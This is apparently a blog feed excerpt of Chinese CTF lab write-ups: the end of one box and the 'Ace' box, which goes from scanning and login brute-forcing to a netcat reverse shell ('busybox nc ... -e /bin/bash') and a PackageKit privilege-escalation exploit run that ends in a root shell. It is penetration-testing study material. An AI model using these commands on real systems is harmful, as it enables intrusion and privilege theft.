/root/root.txt&#10;ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAuICAgICAqKiAgICAgICAgICAgICAg&#10;ICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAq&#10;ICAgICAgICAgICAqLiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAg&#10;ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICwqICAgICAgICAgICAgICAgICAg&#10;ICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg&#10;ICAgICAgICosICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAg&#10;ICAgICAgICwgICAgICAgICAgICAgICAgICAgICAgICAgLCogICAgICAgICAgICAgICAgICAgICAg&#10;ICAgICAKICAgICAgICAgICAgICAgICAgICAgIC4sICAgICAgICAgICAgICAgICAgICAgICAgICAg&#10;ICAgKiwgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAvICAgICAg&#10;ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgKiAgICAgICAgICAgICAgICAgICAgICAKICAg&#10;ICAgICAgICAgICAgICAsKiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAq&#10;LCAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgLy4gICAgICAgICAgICAgICAgICAg&#10;ICAgICAgICAgICAgICAgICAgICAgICAgIC4qLiAgICAgICAgICAgICAgICAKICAgICAgICAgICAg&#10;ICogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICoqICAg&#10;ICAgICAgICAgICAKICAgICAgICAgICAgICwqICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg&#10;ICAgICAgICAgICAgICAgICAsKiAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICoqICAg&#10;ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgKi4gICAgICAgICAgICAgICAg&#10;ICAKICAgICAgICAgICAgICAgICAgICoqICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg&#10;ICAgKiouICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgLCogICAgICAg&#10;ICAgICAgICAgICAgICAgICAgICAgICAgICoqICAgICAgICAgICAgICAgICAgICAgICAKICAgICAg&#10;ICAgICAgICAgICAgICAgICAgKiwgICAgICAgICAgICAgICAgICAgICAgICAgICwqICAgICAgICAg&#10;ICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgKiAgICAgICAgICAg&#10;ICAgICAgICAgICAqKiAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAg&#10;ICAgICAgICAgICAgICAqLCAgICAgICAgICAgICAgICAuKiAgICAgICAgICAgICAgICAgICAgICAg&#10;ICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAqLiAgICAgICAgICAgKiog&#10;ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAg&#10;ICAgICAgICAgICoqICAgICAgLCosICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAK&#10;ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICoqICosICAgICAgICAgICAgICAg&#10;ICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg&#10;ICAgICAgICAgICAgICAKSE1WRktCUzY0Cg==&#10;lucas@baseme:~$ sudo /usr/bin/base64 /root/root.txt | base64 -d&#10; . ** &#10; * *. &#10; ,* &#10; *, &#10; , ,* &#10; ., *, &#10; / * &#10; ,* *, &#10; /. .*. &#10; * ** &#10; ,* ,* &#10; ** *. &#10; ** **. &#10; ,* ** &#10; *, ,* &#10; * ** &#10; *, .* &#10; *. ** &#10; ** ,*, &#10; ** *, &#10; &#10;HMVFKBS64&lt;/code&gt;&lt;/pre&gt;&lt;h2 class="heading-element" id="总结"&gt;&lt;span&gt;总结&lt;/span&gt;&#10; &lt;a href="#%e6%80%bb%e7%bb%93" class="heading-mark"&gt;&lt;svg class="octicon octicon-link" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"&gt;&lt;path d="m7.775 3.275 1.25-1.25a3.5 3.5 0 1 1 4.95 4.95l-2.5 2.5a3.5 3.5 0 0 1-4.95 0 .751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018 1.998 1.998 0 0 0 2.83 0l2.5-2.5a2.002 2.002 0 0 0-2.83-2.83l-1.25 1.25a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042Zm-4.69 9.64a1.998 1.998 0 0 0 2.83 0l1.25-1.25a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042l-1.25 1.25a3.5 3.5 0 1 1-4.95-4.95l2.5-2.5a3.5 3.5 0 0 1 4.95 0 .751.751 0 0 1-.018 1.042.751.751 0 0 1-1.042.018 1.998 1.998 0 0 0-2.83 0l-2.5 2.5a1.998 1.998 0 0 0 0 2.83Z"&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;&#10;&lt;/h2&gt;&lt;p&gt;操作上不算太难，主要是思路上不好转弯，我扫描了目录，完全没有想过要用base64编码去编码文件后，再通过该字典去扫描文件。&lt;/p&gt;&#10;&lt;p&gt;我想到下面的注释可能是密码，并且用base64编码，编码后去爆破22端口，但是完全爆破不开。我还和gpt讨论他留下的线索，真的完全没有想到上面的思路。&lt;/p&gt;&#10;&lt;h2 class="heading-element" id="gobuster"&gt;&lt;span&gt;gobuster&lt;/span&gt;&#10; &lt;a href="#gobuster" class="heading-mark"&gt;&lt;svg class="octicon octicon-link" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"&gt;&lt;path d="m7.775 3.275 1.25-1.25a3.5 3.5 0 1 1 4.95 4.95l-2.5 2.5a3.5 3.5 0 0 1-4.95 0 .751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018 1.998 1.998 0 0 0 2.83 0l2.5-2.5a2.002 2.002 0 0 0-2.83-2.83l-1.25 1.25a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042Zm-4.69 9.64a1.998 1.998 0 0 0 2.83 0l1.25-1.25a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042l-1.25 1.25a3.5 3.5 0 1 1-4.95-4.95l2.5-2.5a3.5 3.5 0 0 1 4.95 0 .751.751 0 0 1-.018 1.042.751.751 0 0 1-1.042.018 1.998 1.998 0 0 0-2.83 0l-2.5 2.5a1.998 1.998 0 0 0 0 2.83Z"&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;&#10;&lt;/h2&gt;&lt;ul&gt;&#10;&lt;li&gt;通常更轻、更快，很多人拿来直接扫目录、子域名、虚拟主机&lt;/li&gt;&#10;&lt;li&gt;Go 写的，单二进制，装好就能跑&lt;/li&gt;&#10;&lt;li&gt;参数风格偏“工具型”，简洁直接&lt;/li&gt;&#10;&lt;li&gt;适合想快速扫一轮的人&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;p&gt;扫描目录：&lt;/p&gt;&#10;&lt;pre&gt;&lt;code&gt;gobuster dir -u http://192.168.174.133 -w ./dir.txt&lt;/code&gt;&lt;/pre&gt;&lt;ul&gt;&#10;&lt;li&gt;dir : 目录/文件枚举模式&lt;/li&gt;&#10;&lt;li&gt;-u：目标 URL&lt;/li&gt;&#10;&lt;li&gt;-w：字典文件&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;p&gt;还有一些常用的参数：&lt;/p&gt;&#10;&lt;ul&gt;&#10;&lt;li&gt;-x：指定扩展名，比如 php,txt,html,bak&lt;/li&gt;&#10;&lt;li&gt;-t：线程数，比如 20&lt;/li&gt;&#10;&lt;li&gt;-k：HTTPS 自签证书时跳过校验&lt;/li&gt;&#10;&lt;li&gt;-s：只显示某些状态码，比如 200,204,301,302,403&lt;/li&gt;&#10;&lt;li&gt;-b：排除某些状态码，比如 404&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;pre&gt;&lt;code&gt;root@kali:/home/warn/Desktop# gobuster dir -u http://192.168.174.133 -w ./dirs.txt&#10;===============================================================&#10;Gobuster v3.8&#10;by OJ Reeves (@TheColonial) &amp;amp; Christian Mehlmauer (@firefart)&#10;===============================================================&#10;[&amp;#43;] Url: http://192.168.174.133&#10;[&amp;#43;] Method: GET&#10;[&amp;#43;] Threads: 10&#10;[&amp;#43;] Wordlist: ./dirs.txt&#10;[&amp;#43;] Negative Status codes: 404&#10;[&amp;#43;] User Agent: gobuster/3.8&#10;[&amp;#43;] Timeout: 10s&#10;===============================================================&#10;Starting gobuster in directory enumeration mode&#10;===============================================================&#10;/aWRfcnNhCg== (Status: 200) [Size: 2537]&#10;/cm9ib3RzLnR4dAo= (Status: 200) [Size: 25]&#10;Progress: 4614 / 4614 (100.00%)&#10;===============================================================&#10;Finished&#10;===============================================================&#10; &lt;/code&gt;&lt;/pre&gt;&lt;p&gt;是真的很快。&lt;/p&gt;&#10;&lt;pre&gt;&lt;code&gt;root@kali:/home/warn/Desktop# ssh2john rsa &amp;gt; rsa.hash &#10; &#10;root@kali:/home/warn/Desktop# john --wordlist=./password2.txt rsa.hash&#10;Using default input encoding: UTF-8&#10;Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/OPENSSH 32/64])&#10;Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 2 for all loaded hashes&#10;Cost 2 (iteration count) is 16 for all loaded hashes&#10;Will run 4 OpenMP threads&#10;Press &amp;#39;q&amp;#39; or Ctrl-C to abort, almost any other key for status&#10;aWxvdmV5b3UK (rsa) &#10;1g 0:00:00:00 DONE (2026-03-27 22:38) 3.448g/s 27.58p/s 27.58c/s 27.58C/s ..Cg==&#10;Use the &amp;#34;--show&amp;#34; option to display all of the cracked passwords reliably&#10;Session completed. &#10; &#10;root@kali:/home/warn/Desktop# john --show rsa.hash &#10;rsa:aWxvdmV5b3UK&#10;&#10;1 password hash cracked, 0 left&lt;/code&gt;&lt;/pre&gt;</description></item><item><title>Ace 复盘</title><link>https://blog.1urkers.cn/p/ace/</link><pubDate>Sat, 30 May 2026 11:52:43 +0800</pubDate><guid>https://blog.1urkers.cn/p/ace/</guid><category domain="https://blog.1urkers.cn/categories/%E9%9D%B6%E6%9C%BA%E5%A4%8D%E7%9B%98/">靶机复盘</category><description>&lt;table&gt;&#10;&#9;&lt;thead&gt;&#10;&#9;&#9;&#9;&lt;tr&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;th&gt;作者&lt;/th&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;th&gt;难度&lt;/th&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;th&gt;平台&lt;/th&gt;&#10;&#9;&#9;&#9;&lt;/tr&gt;&#10;&#9;&lt;/thead&gt;&#10;&#9;&lt;tbody&gt;&#10;&#9;&#9;&#9;&lt;tr&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;td&gt;ll104567&lt;/td&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;td&gt;baby&lt;/td&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;td&gt;mazesec&lt;/td&gt;&#10;&#9;&#9;&#9;&lt;/tr&gt;&#10;&#9;&lt;/tbody&gt;&#10;&lt;/table&gt;&#10;&lt;h2 class="heading-element" id="信息收集"&gt;&lt;span&gt;信息收集&lt;/span&gt;&#10; &lt;a href="#%e4%bf%a1%e6%81%af%e6%94%b6%e9%9b%86" class="heading-mark"&gt;&lt;svg class="octicon octicon-link" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"&gt;&lt;path d="m7.775 3.275 1.25-1.25a3.5 3.5 0 1 1 4.95 4.95l-2.5 2.5a3.5 3.5 0 0 1-4.95 0 .751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018 1.998 1.998 0 0 0 2.83 0l2.5-2.5a2.002 2.002 0 0 0-2.83-2.83l-1.25 1.25a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042Zm-4.69 9.64a1.998 1.998 0 0 0 2.83 0l1.25-1.25a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042l-1.25 1.25a3.5 3.5 0 1 1-4.95-4.95l2.5-2.5a3.5 3.5 0 0 1 4.95 0 .751.751 0 0 1-.018 1.042.751.751 0 0 1-1.042.018 1.998 1.998 0 0 0-2.83 0l-2.5 2.5a1.998 1.998 0 0 0 0 2.83Z"&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;&#10;&lt;/h2&gt;&lt;pre&gt;&lt;code&gt;╭─ ~ ───────────────────────────────────────────────────────────────── ✔  root@kali  08:18:51 &#10;╰─ nmap 192.168.56.123 -p-&#10;Starting Nmap 7.98 ( https://nmap.org ) at 2026-05-29 08:19 -0400&#10;Nmap scan report for 192.168.56.123&#10;Host is up (0.00059s latency).&#10;Not shown: 65532 closed tcp ports (reset)&#10;PORT STATE SERVICE&#10;22/tcp open ssh&#10;80/tcp open http&#10;8000/tcp open http-alt&#10;MAC Address: 08:00:27:32:60:79 (Oracle VirtualBox virtual NIC)&#10;&#10;Nmap done: 1 IP address (1 host up) scanned in 43.16 seconds&#10;&#10;╭─ ~ ─────────────────────────────────────────────────────────── ✔  43s  root@kali  08:19:48 &#10;╰─ nmap 192.168.56.123 -p 22,80,8000 -sC -sV&#10;Starting Nmap 7.98 ( https://nmap.org ) at 2026-05-29 08:20 -0400&#10;Stats: 0:00:06 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan&#10;Service scan Timing: About 33.33% done; ETC: 08:20 (0:00:12 remaining)&#10;Nmap scan report for 192.168.56.123&#10;Host is up (0.0013s latency).&#10;&#10;PORT STATE SERVICE VERSION&#10;22/tcp open ssh OpenSSH 8.4p1 Debian 5&amp;#43;deb11u3 (protocol 2.0)&#10;| ssh-hostkey: &#10;| 3072 f6:a3:b6:78:c4:62:af:44:bb:1a:a0:0c:08:6b:98:f7 (RSA)&#10;| 256 bb:e8:a2:31:d4:05:a9:c9:31:ff:62:f6:32:84:21:9d (ECDSA)&#10;|_ 256 3b:ae:34:64:4f:a5:75:b9:4a:b9:81:f9:89:76:99:eb (ED25519)&#10;80/tcp open http Apache httpd 2.4.62 ((Debian))&#10;|_http-server-header: Apache/2.4.62 (Debian)&#10;|_http-title: Inspirational Quote&#10;8000/tcp open ssl/http-alt?&#10;| ssl-cert: Subject: commonName=ajenti/organizationName=moban/countryName=NA&#10;| Not valid before: 2026-04-19T11:49:37&#10;|_Not valid after: 2036-04-16T11:49:37&#10;|_ssl-date: TLS randomness does not represent time&#10;MAC Address: 08:00:27:32:60:79 (Oracle VirtualBox virtual NIC)&#10;Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel&#10;&#10;Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .&#10;Nmap done: 1 IP address (1 host up) scanned in 115.59 seconds&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;code&gt;80&lt;/code&gt; 端口的标题：&lt;code&gt;励志名言&lt;/code&gt;；&lt;code&gt;8000&lt;/code&gt; 端口的需要&lt;code&gt;https://&lt;/code&gt;访问。访问 80 端口：&lt;/p&gt;&#10;&lt;p&gt;&lt;img loading="lazy" src='https://blog.1urkers.cn/p/ace/image-20260529202700163.png' alt="image-20260529202700163" height="428" width="1014"&gt;&lt;/p&gt;&#10;&lt;p&gt;一句名言 加 名字，记录下这个名字：&lt;code&gt;jiali&lt;/code&gt;。&lt;code&gt;dirsearch&lt;/code&gt; 扫描：&lt;/p&gt;&#10;&lt;pre&gt;&lt;code&gt;╭─ ~ ──────────────────────────────────────────────────────── ✔  1m 56s  root@kali  08:22:26 &#10;╰─ dirsearch -u http://192.168.56.123/&#10;/usr/lib/python3/dist-packages/dirsearch/dirsearch.py:23: DeprecationWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html&#10; from pkg_resources import DistributionNotFound, VersionConflict&#10;&#10; _|. _ _ _ _ _ _|_ v0.4.3&#10; (_||| _) (/_(_|| (_| )&#10;&#10;Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 11460&#10;&#10;Output File: /root/reports/http_192.168.56.123/__26-05-29_08-28-27.txt&#10;&#10;Target: http://192.168.56.123/&#10;&#10;...&#10;[08:28:29] 403 - 279B - /.httr-oauth&#10;[08:28:31] 403 - 279B - /.php&#10;[08:29:05] 200 - 621B - /login.php&#10;[08:29:20] 403 - 279B - /server-status&#10;[08:29:20] 403 - 279B - /server-status/&#10;...&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;存在 &lt;code&gt;login.php&lt;/code&gt;，访问是一个登录界面，爆破&lt;code&gt;admin&lt;/code&gt;用户，&lt;code&gt;5000.txt&lt;/code&gt;，没有爆破出来；换&lt;code&gt;jiali&lt;/code&gt;用户，&lt;code&gt;5000.txt&lt;/code&gt;爆破出密码为：&lt;code&gt;qweasdzxc&lt;/code&gt;。&lt;/p&gt;&#10;&lt;p&gt;&lt;img loading="lazy" src='https://blog.1urkers.cn/p/ace/image-20260529204909689.png' alt="image-20260529204909689" height="961" width="1695"&gt;&lt;/p&gt;&#10;&lt;p&gt;登录成功后，并没有任何跳转，猜测功能可能就是这样的吧；我们获取了一个凭证：&lt;code&gt;jiali:qweasdzxc&lt;/code&gt;。&lt;/p&gt;&#10;&lt;p&gt;访问&lt;code&gt;8000&lt;/code&gt;端口：&lt;/p&gt;&#10;&lt;p&gt;&lt;img loading="lazy" src='https://blog.1urkers.cn/p/ace/image-20260529205429707.png' alt="image-20260529205429707" height="626" width="2196"&gt;&lt;/p&gt;&#10;&lt;p&gt;打开控制台可以搜索到这些信息：&lt;/p&gt;&#10;&lt;p&gt;&lt;img loading="lazy" src='https://blog.1urkers.cn/p/ace/image-20260529205744177.png' alt="image-20260529205744177" height="526" width="2341"&gt;&lt;/p&gt;&#10;&lt;p&gt;版本号为：&lt;code&gt;2.2.15&lt;/code&gt;，搜索官网发现：最新版本号是&lt;code&gt;2.2.15&lt;/code&gt;。&lt;/p&gt;&#10;&lt;p&gt;&lt;img loading="lazy" src='https://blog.1urkers.cn/p/ace/image-20260529210234495.png' alt="image-20260529210234495" height="375" width="1496"&gt;&lt;/p&gt;&#10;&lt;p&gt;最新的&lt;code&gt;CVE&lt;/code&gt;漏洞受影响的版本小于&lt;code&gt;2.2.15&lt;/code&gt;，所以目前我认为是没有&lt;code&gt;CVE&lt;/code&gt;漏洞可以利用。&lt;/p&gt;&#10;&lt;p&gt;这里复用凭证，可以登录&lt;code&gt;ajenti&lt;/code&gt;：&lt;/p&gt;&#10;&lt;p&gt;&lt;img loading="lazy" src='https://blog.1urkers.cn/p/ace/image-20260529211347764.png' alt="image-20260529211347764" height="846" width="1993"&gt;&lt;/p&gt;&#10;&lt;p&gt;这里我是创建了一个新的 &lt;code&gt;Terminal&lt;/code&gt;。&lt;/p&gt;&#10;&lt;h2 class="heading-element" id="反向shell获取完整交互式shell"&gt;&lt;span&gt;反向shell获取完整交互式shell&lt;/span&gt;&#10; &lt;a href="#%e5%8f%8d%e5%90%91shell%e8%8e%b7%e5%8f%96%e5%ae%8c%e6%95%b4%e4%ba%a4%e4%ba%92%e5%bc%8fshell" class="heading-mark"&gt;&lt;svg class="octicon octicon-link" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"&gt;&lt;path d="m7.775 3.275 1.25-1.25a3.5 3.5 0 1 1 4.95 4.95l-2.5 2.5a3.5 3.5 0 0 1-4.95 0 .751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018 1.998 1.998 0 0 0 2.83 0l2.5-2.5a2.002 2.002 0 0 0-2.83-2.83l-1.25 1.25a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042Zm-4.69 9.64a1.998 1.998 0 0 0 2.83 0l1.25-1.25a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042l-1.25 1.25a3.5 3.5 0 1 1-4.95-4.95l2.5-2.5a3.5 3.5 0 0 1 4.95 0 .751.751 0 0 1-.018 1.042.751.751 0 0 1-1.042.018 1.998 1.998 0 0 0-2.83 0l-2.5 2.5a1.998 1.998 0 0 0 0 2.83Z"&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;&#10;&lt;/h2&gt;&lt;pre&gt;&lt;code&gt;# kali&#10;nc -lvnp 39666&#10;# 靶机&#10;busybox nc 192.168.56.101 39666 -e /bin/bash &amp;amp;&#10;# 反向shell放到后台执行，不容易断&#10;╭─ ~ ──────────────────────────────────────────────────────── ✔  1m 10s  root@kali  08:29:36 &#10;╰─ nc -lvnp 39666&#10;listening on [any] 39666 ...&#10;connect to [192.168.56.101] from (UNKNOWN) [192.168.56.123] 52292&#10;id&#10;uid=1000(jiali) gid=1000(jiali) groups=1000(jiali)&#10;script -qc /bin/bash /dev/null&#10;jiali@Ace:/$ ^Z&#10;[1] &amp;#43; 38776 suspended nc -lvnp 39666&#10;&#10;╭─ ~ ─────────────────────────────────────────────── TSTP ✘  2m 51s    root@kali  09:22:06 &#10;╰─ stty raw -echo;fg&#10;[1] &amp;#43; 38776 continued nc -lvnp 39666&#10; reset&#10;]Rjiali@Ace:/$ export SHELL=&amp;#34;/bin/bash&amp;#34;&#10;jiali@Ace:/$ export TERM=&amp;#34;xterm-256color&amp;#34;&#10;jiali@Ace:/$ export HOME=&amp;#34;/home/jiali&amp;#34;&#10;jiali@Ace:/$ cd&#10;jiali@Ace:~$ source .bashrc&lt;/code&gt;&lt;/pre&gt;&lt;h2 class="heading-element" id="系统内部信息收集"&gt;&lt;span&gt;系统内部信息收集&lt;/span&gt;&#10; &lt;a href="#%e7%b3%bb%e7%bb%9f%e5%86%85%e9%83%a8%e4%bf%a1%e6%81%af%e6%94%b6%e9%9b%86" class="heading-mark"&gt;&lt;svg class="octicon octicon-link" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"&gt;&lt;path d="m7.775 3.275 1.25-1.25a3.5 3.5 0 1 1 4.95 4.95l-2.5 2.5a3.5 3.5 0 0 1-4.95 0 .751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018 1.998 1.998 0 0 0 2.83 0l2.5-2.5a2.002 2.002 0 0 0-2.83-2.83l-1.25 1.25a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042Zm-4.69 9.64a1.998 1.998 0 0 0 2.83 0l1.25-1.25a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042l-1.25 1.25a3.5 3.5 0 1 1-4.95-4.95l2.5-2.5a3.5 3.5 0 0 1 4.95 0 .751.751 0 0 1-.018 1.042.751.751 0 0 1-1.042.018 1.998 1.998 0 0 0-2.83 0l-2.5 2.5a1.998 1.998 0 0 0 0 2.83Z"&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;&#10;&lt;/h2&gt;&lt;p&gt;&lt;code&gt;sudo -l&lt;/code&gt;：列举当前用户可以执行的sudo命令，发现并没有，检查具有&lt;code&gt;suid&lt;/code&gt;位的文件，发现：&lt;/p&gt;&#10;&lt;pre&gt;&lt;code&gt;jiali@Ace:~$ find / -perm -u=s -type f -exec ls -al {} \; 2&amp;gt;/dev/null&#10;-rwsr-xr-x 1 root root 44528 Jul 27 2018 /usr/bin/chsh&#10;-rwsr-xr-x 1 root root 54096 Jul 27 2018 /usr/bin/chfn&#10;-rwsr-xr-x 1 root root 44440 Jul 27 2018 /usr/bin/newgrp&#10;-rwsr-xr-x 1 root root 84016 Jul 27 2018 /usr/bin/gpasswd&#10;-rwsr-xr-x 1 root root 47184 Apr 6 2024 /usr/bin/mount&#10;-rwsr-xr-x 1 root root 63568 Apr 6 2024 /usr/bin/su&#10;-rwsr-xr-x 1 root root 34888 Apr 6 2024 /usr/bin/umount&#10;-rwsr-xr-x 1 root root 23448 Jan 13 2022 /usr/bin/pkexec&#10;-rwsr-xr-x 1 root root 182600 Jan 14 2023 /usr/bin/sudo&#10;-rwsr-xr-x 1 root root 63736 Jul 27 2018 /usr/bin/passwd&#10;-rwsr-xr-- 1 root messagebus 51336 Jun 6 2023 /usr/lib/dbus-1.0/dbus-daemon-launch-helper&#10;-rwsr-xr-x 1 root root 10232 Mar 28 2017 /usr/lib/eject/dmcrypt-get-device&#10;-rwsr-xr-x 1 root root 481608 Dec 21 2023 /usr/lib/openssh/ssh-keysign&#10;-rwsr-xr-x 1 root root 19040 Jan 13 2022 /usr/libexec/polkit-agent-helper-1&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;注意到&lt;code&gt;pkexec&lt;/code&gt;，在&lt;code&gt;gtfobins&lt;/code&gt;搜索：&lt;/p&gt;&#10;&lt;p&gt;&lt;img loading="lazy" src='https://blog.1urkers.cn/p/ace/image-20260530104428614.png' alt="image-20260530104428614" height="699" width="1405"&gt;&lt;/p&gt;&#10;&lt;p&gt;发现无法利用。&lt;/p&gt;&#10;&lt;pre&gt;&lt;code&gt;jiali@Ace:/var/tmp$ ss -tuln&#10;Netid State Recv-Q Send-Q Local Address:Port Peer Address:Port &#10;udp UNCONN 0 0 0.0.0.0:68 0.0.0.0:* &#10;tcp LISTEN 0 128 0.0.0.0:22 0.0.0.0:* &#10;tcp LISTEN 0 10 0.0.0.0:8000 0.0.0.0:* &#10;tcp LISTEN 0 128 *:80 *:* &#10;tcp LISTEN 0 128 [::]:22 [::]:* &lt;/code&gt;&lt;/pre&gt;&lt;p&gt;没有隐藏的内网地址，查看进程&lt;code&gt;ps auxww&lt;/code&gt;，没有发现任何有关提权的信息，通过&lt;code&gt;./pspy64&lt;/code&gt;，也没有发现有关定时任务的可利用信息。&lt;/p&gt;&#10;&lt;p&gt;上传&lt;code&gt;linpeas.sh&lt;/code&gt;，&lt;code&gt;bash linpeas.sh&lt;/code&gt; 发现 &lt;code&gt;CVE-2026-41651&lt;/code&gt;。&lt;/p&gt;&#10;&lt;p&gt;&lt;img loading="lazy" src='https://blog.1urkers.cn/p/ace/image-20260530110320155.png' alt="image-20260530110320155" height="1292" width="1947"&gt;&lt;/p&gt;&#10;&lt;p&gt;我发现了一个好网站：可以搜索有关&lt;code&gt;CVE&lt;/code&gt;公开漏洞的payload；在该网站下载payload：https://github.com/baph00met/CVE-2026-41651/blob/main/cve-2026-41651-purpleteam.py。&lt;/p&gt;&#10;&lt;h2 class="heading-element" id="权限提升"&gt;&lt;span&gt;权限提升&lt;/span&gt;&#10; &lt;a href="#%e6%9d%83%e9%99%90%e6%8f%90%e5%8d%87" class="heading-mark"&gt;&lt;svg class="octicon octicon-link" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"&gt;&lt;path d="m7.775 3.275 1.25-1.25a3.5 3.5 0 1 1 4.95 4.95l-2.5 2.5a3.5 3.5 0 0 1-4.95 0 .751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018 1.998 1.998 0 0 0 2.83 0l2.5-2.5a2.002 2.002 0 0 0-2.83-2.83l-1.25 1.25a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042Zm-4.69 9.64a1.998 1.998 0 0 0 2.83 0l1.25-1.25a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042l-1.25 1.25a3.5 3.5 0 1 1-4.95-4.95l2.5-2.5a3.5 3.5 0 0 1 4.95 0 .751.751 0 0 1-.018 1.042.751.751 0 0 1-1.042.018 1.998 1.998 0 0 0-2.83 0l-2.5 2.5a1.998 1.998 0 0 0 0 2.83Z"&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;&#10;&lt;/h2&gt;&lt;pre&gt;&lt;code&gt;jiali@Ace:~$ python3 cve-2026-41651-purpleteam.py &#10;============================================================&#10; CVE-2026-41651 — PackageKit TOCTOU LPE&#10; Purple Team Test Case | Authorized Use Only&#10;============================================================&#10;&#10;[&amp;#43;] SUID drop directory: /var/tmp (no nosuid/noexec)&#10;[&amp;#43;] Package format: DEB&#10;[*] Building test packages...&#10;[&amp;#43;] Dummy pkg: /tmp/pk-dummy-662.deb&#10;[&amp;#43;] Payload pkg: /tmp/pk-payload-662.deb&#10;[&amp;#43;] Payload installs SUID bash to: /var/tmp/.suid_bash&#10;&#10;[*] Connecting to system D-Bus...&#10;[*] Creating PackageKit transaction...&#10;[&amp;#43;] Transaction ID: /22_dbbaeeab&#10;&#10;[*] Firing TOCTOU race (SIMULATE → REAL on same transaction)...&#10;[*] Polling for SUID at /var/tmp/.suid_bash (90s max)...&#10;&#10;[&amp;#43;] Confirmed: /var/tmp/.suid_bash is SUID root (mode=0o104755)&#10;&#10;[&amp;#43;] Dropping to root shell via SUID bash (-p preserves effective UID=0)&#10;[&amp;#43;] --- ROOT SHELL FOLLOWS ---&#10;&#10;.suid_bash-5.0# id&#10;uid=1000(jiali) gid=1000(jiali) euid=0(root) groups=1000(jiali)&#10;.suid_bash-5.0# cd /root&#10;.suid_bash-5.0# cat root.txt&#10;flag{root-2d80a0695beb907d6b9ae94a5b97c038}&#10;.suid_bash-5.0# cat rootpass.txt&#10;hDLHiKiviqDf5CU55m8D&lt;/code&gt;&lt;/pre&gt;&lt;h2 class="heading-element" id="预期方法"&gt;&lt;span&gt;预期方法&lt;/span&gt;&#10; &lt;a href="#%e9%a2%84%e6%9c%9f%e6%96%b9%e6%b3%95" class="heading-mark"&gt;&lt;svg class="octicon octicon-link" viewBox="0 0 16 16" 